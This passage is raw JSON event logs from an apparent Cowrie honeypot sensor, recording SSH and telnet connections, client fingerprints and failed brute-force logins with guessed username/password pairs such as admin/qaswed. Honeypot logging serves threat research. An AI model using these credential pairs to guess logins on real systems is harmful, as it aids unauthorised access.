c","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:12.410880Z","src_ip":"2.57.121.112","session":"fbefb49044a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazedctgb","message":"login attempt [admin/qazedctgb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:12.899243Z","src_ip":"2.57.121.112","session":"fbefb49044a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":43226,"dst_ip":"10.17.0.5","dst_port":23,"session":"63534fcead29","protocol":"telnet","message":"New connection: 209.205.218.26:43226 (10.17.0.5:23) [session: 63534fcead29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:12.947142Z"}
{"eventid":"cowrie.session.closed","duration":36.86331915855408,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:13.634518Z","src_ip":"209.205.218.26","session":"bdf317fa6f6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":43389,"dst_ip":"10.17.0.5","dst_port":23,"session":"0728d11d6731","protocol":"telnet","message":"New connection: 209.205.218.26:43389 (10.17.0.5:23) [session: 0728d11d6731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:13.886520Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qaswed","message":"login attempt [admin/qaswed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:14.005682Z","src_ip":"2.57.121.112","session":"fbefb49044a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.86989760398865,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:14.242148Z","src_ip":"209.205.218.26","session":"ad9f741d51b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"q111111","message":"login attempt [admin/q111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:15.113762Z","src_ip":"2.57.121.112","session":"fbefb49044a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.067636489868164,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:16.178373Z","src_ip":"209.205.218.26","session":"e462be048d15","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pyF8aH","message":"login attempt [admin/pyF8aH] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:16.249815Z","src_ip":"2.57.121.112","session":"fbefb49044a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":43708,"dst_ip":"10.17.0.5","dst_port":23,"session":"b024a597827b","protocol":"telnet","message":"New connection: 209.205.218.26:43708 (10.17.0.5:23) [session: b024a597827b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:16.875765Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"putang","message":"login attempt [admin/putang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:17.361570Z","src_ip":"2.57.121.112","session":"fbefb49044a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.820096254348755,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:17.517700Z","src_ip":"209.205.218.26","session":"862cc738471b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.87558102607727,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:17.827625Z","src_ip":"209.205.218.26","session":"1206fd3019ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.45914602279663,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:18.211489Z","src_ip":"209.205.218.26","session":"8658b2d0a2f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:18.468189Z","src_ip":"2.57.121.112","session":"fbefb49044a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":43937,"dst_ip":"10.17.0.5","dst_port":23,"session":"acead9610ab1","protocol":"telnet","message":"New connection: 209.205.218.26:43937 (10.17.0.5:23) [session: acead9610ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:19.223502Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":44066,"dst_ip":"10.17.0.5","dst_port":23,"session":"87d690e5785b","protocol":"telnet","message":"New connection: 209.205.218.26:44066 (10.17.0.5:23) [session: 87d690e5785b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:20.457330Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":49466,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b5628fec6d0","protocol":"ssh","message":"New connection: 4.213.160.153:49466 (159.203.135.109:22) [session: 9b5628fec6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:21.284045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:21.288881Z","src_ip":"4.213.160.153","session":"9b5628fec6d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:21.596479Z","src_ip":"4.213.160.153","session":"9b5628fec6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":44181,"dst_ip":"10.17.0.5","dst_port":23,"session":"1533f92bf2af","protocol":"telnet","message":"New connection: 209.205.218.26:44181 (10.17.0.5:23) [session: 1533f92bf2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:21.642808Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc12345678","message":"login attempt [test/abc12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:22.366367Z","src_ip":"4.213.160.153","session":"9b5628fec6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.94630146026611,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:22.857730Z","src_ip":"209.205.218.26","session":"40420cbf67fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.238513708114624,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:23.049369Z","src_ip":"209.205.218.26","session":"e5948b95ff6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.23878359794617,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:23.198282Z","src_ip":"209.205.218.26","session":"465f751865f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:23.552317Z","src_ip":"4.213.160.153","session":"9b5628fec6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.42999219894409,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:26.139693Z","src_ip":"209.205.218.26","session":"bc3626889a85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":44887,"dst_ip":"10.17.0.5","dst_port":23,"session":"428f9e3a0490","protocol":"telnet","message":"New connection: 209.205.218.26:44887 (10.17.0.5:23) [session: 428f9e3a0490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:27.526699Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":44965,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57c75739e5c","protocol":"telnet","message":"New connection: 209.205.218.26:44965 (10.17.0.5:23) [session: b57c75739e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:28.117035Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":45091,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f56fd70a0ef","protocol":"telnet","message":"New connection: 209.205.218.26:45091 (10.17.0.5:23) [session: 0f56fd70a0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:29.414282Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":45189,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccd794dcddf3","protocol":"telnet","message":"New connection: 209.205.218.26:45189 (10.17.0.5:23) [session: ccd794dcddf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:30.249933Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":45199,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd1ccb7748d9","protocol":"telnet","message":"New connection: 209.205.218.26:45199 (10.17.0.5:23) [session: dd1ccb7748d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:30.442541Z"}
{"eventid":"cowrie.session.closed","duration":35.756579637527466,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:31.195360Z","src_ip":"209.205.218.26","session":"1b054aa9e1f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":45293,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ae380b9612c","protocol":"telnet","message":"New connection: 209.205.218.26:45293 (10.17.0.5:23) [session: 2ae380b9612c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:31.376992Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.135.189","src_port":38792,"dst_ip":"10.17.0.5","dst_port":22,"session":"7411fac16148","protocol":"ssh","message":"New connection: 120.48.135.189:38792 (10.17.0.5:22) [session: 7411fac16148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:31.409146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:31.413779Z","src_ip":"120.48.135.189","session":"7411fac16148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:32.325683Z","src_ip":"120.48.135.189","session":"7411fac16148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":45481,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb13cf7c8ea7","protocol":"telnet","message":"New connection: 209.205.218.26:45481 (10.17.0.5:23) [session: cb13cf7c8ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:33.261051Z"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2016","message":"login attempt [sysadmin/sysadmin2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:33.289230Z","src_ip":"120.48.135.189","session":"7411fac16148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":45708,"dst_ip":"10.17.0.5","dst_port":23,"session":"629926e1c95f","protocol":"telnet","message":"New connection: 209.205.218.26:45708 (10.17.0.5:23) [session: 629926e1c95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:35.430623Z"}
{"eventid":"cowrie.session.closed","duration":37.72221255302429,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:38.880054Z","src_ip":"209.205.218.26","session":"c50daf876260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":46132,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbe1ac6b0c7e","protocol":"telnet","message":"New connection: 209.205.218.26:46132 (10.17.0.5:23) [session: bbe1ac6b0c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:38.933306Z"}
{"eventid":"cowrie.session.closed","duration":36.24976634979248,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:39.986479Z","src_ip":"209.205.218.26","session":"2791fba41418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":46296,"dst_ip":"10.17.0.5","dst_port":23,"session":"90dc489f4d47","protocol":"telnet","message":"New connection: 209.205.218.26:46296 (10.17.0.5:23) [session: 90dc489f4d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:40.213459Z"}
{"eventid":"cowrie.session.closed","duration":37.19701862335205,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:41.286644Z","src_ip":"209.205.218.26","session":"6e7e85b015ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.641554832458496,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:42.138690Z","src_ip":"209.205.218.26","session":"57fc5a9bf070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":46718,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b4448acf9e1","protocol":"telnet","message":"New connection: 209.205.218.26:46718 (10.17.0.5:23) [session: 2b4448acf9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:43.070104Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":46975,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1797cc41dd","protocol":"telnet","message":"New connection: 209.205.218.26:46975 (10.17.0.5:23) [session: 5f1797cc41dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:45.409648Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":47157,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0e26491323e","protocol":"telnet","message":"New connection: 209.205.218.26:47157 (10.17.0.5:23) [session: c0e26491323e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:47.065892Z"}
{"eventid":"cowrie.session.closed","duration":36.74953818321228,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:47.421503Z","src_ip":"209.205.218.26","session":"21b660e2e430","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.25137972831726,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:47.765318Z","src_ip":"209.205.218.26","session":"a14ad89e56a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.237464666366577,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:47.880178Z","src_ip":"209.205.218.26","session":"1533f92bf2af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":47373,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b0f2cc78388","protocol":"telnet","message":"New connection: 209.205.218.26:47373 (10.17.0.5:23) [session: 7b0f2cc78388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:48.746809Z"}
{"eventid":"cowrie.session.closed","duration":36.21295881271362,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:49.159966Z","src_ip":"209.205.218.26","session":"63534fcead29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.5558226108551,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:50.442254Z","src_ip":"209.205.218.26","session":"0728d11d6731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":47689,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d40bae37c4","protocol":"telnet","message":"New connection: 209.205.218.26:47689 (10.17.0.5:23) [session: 27d40bae37c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:51.763677Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":47720,"dst_ip":"10.17.0.5","dst_port":23,"session":"daf5be520620","protocol":"telnet","message":"New connection: 209.205.218.26:47720 (10.17.0.5:23) [session: daf5be520620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:52.026392Z"}
{"eventid":"cowrie.session.closed","duration":36.08698749542236,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:52.962664Z","src_ip":"209.205.218.26","session":"b024a597827b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.797183990478516,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:56.020553Z","src_ip":"209.205.218.26","session":"acead9610ab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.061347007751465,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:57.518558Z","src_ip":"209.205.218.26","session":"87d690e5785b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":48504,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5ad96050b8b","protocol":"telnet","message":"New connection: 209.205.218.26:48504 (10.17.0.5:23) [session: c5ad96050b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:57.930876Z"}
{"eventid":"cowrie.session.closed","duration":36.5381760597229,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:04.064743Z","src_ip":"209.205.218.26","session":"428f9e3a0490","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.460445165634155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:05.577362Z","src_ip":"209.205.218.26","session":"b57c75739e5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.50410795211792,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:06.918298Z","src_ip":"209.205.218.26","session":"0f56fd70a0ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.58664917945862,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:07.029101Z","src_ip":"209.205.218.26","session":"dd1ccb7748d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02737879753113,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:07.277194Z","src_ip":"209.205.218.26","session":"ccd794dcddf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.12682366371155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:08.503736Z","src_ip":"209.205.218.26","session":"2ae380b9612c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":49996,"dst_ip":"10.17.0.5","dst_port":23,"session":"8406f68ba026","protocol":"telnet","message":"New connection: 209.205.218.26:49996 (10.17.0.5:23) [session: 8406f68ba026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:08.917364Z"}
{"eventid":"cowrie.session.closed","duration":37.66912031173706,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:10.930058Z","src_ip":"209.205.218.26","session":"cb13cf7c8ea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":57624,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b10122b5b86","protocol":"ssh","message":"New connection: 211.186.79.173:57624 (10.17.0.5:22) [session: 7b10122b5b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:10.951693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:10.960678Z","src_ip":"211.186.79.173","session":"7b10122b5b86","protocol":"ssh"}
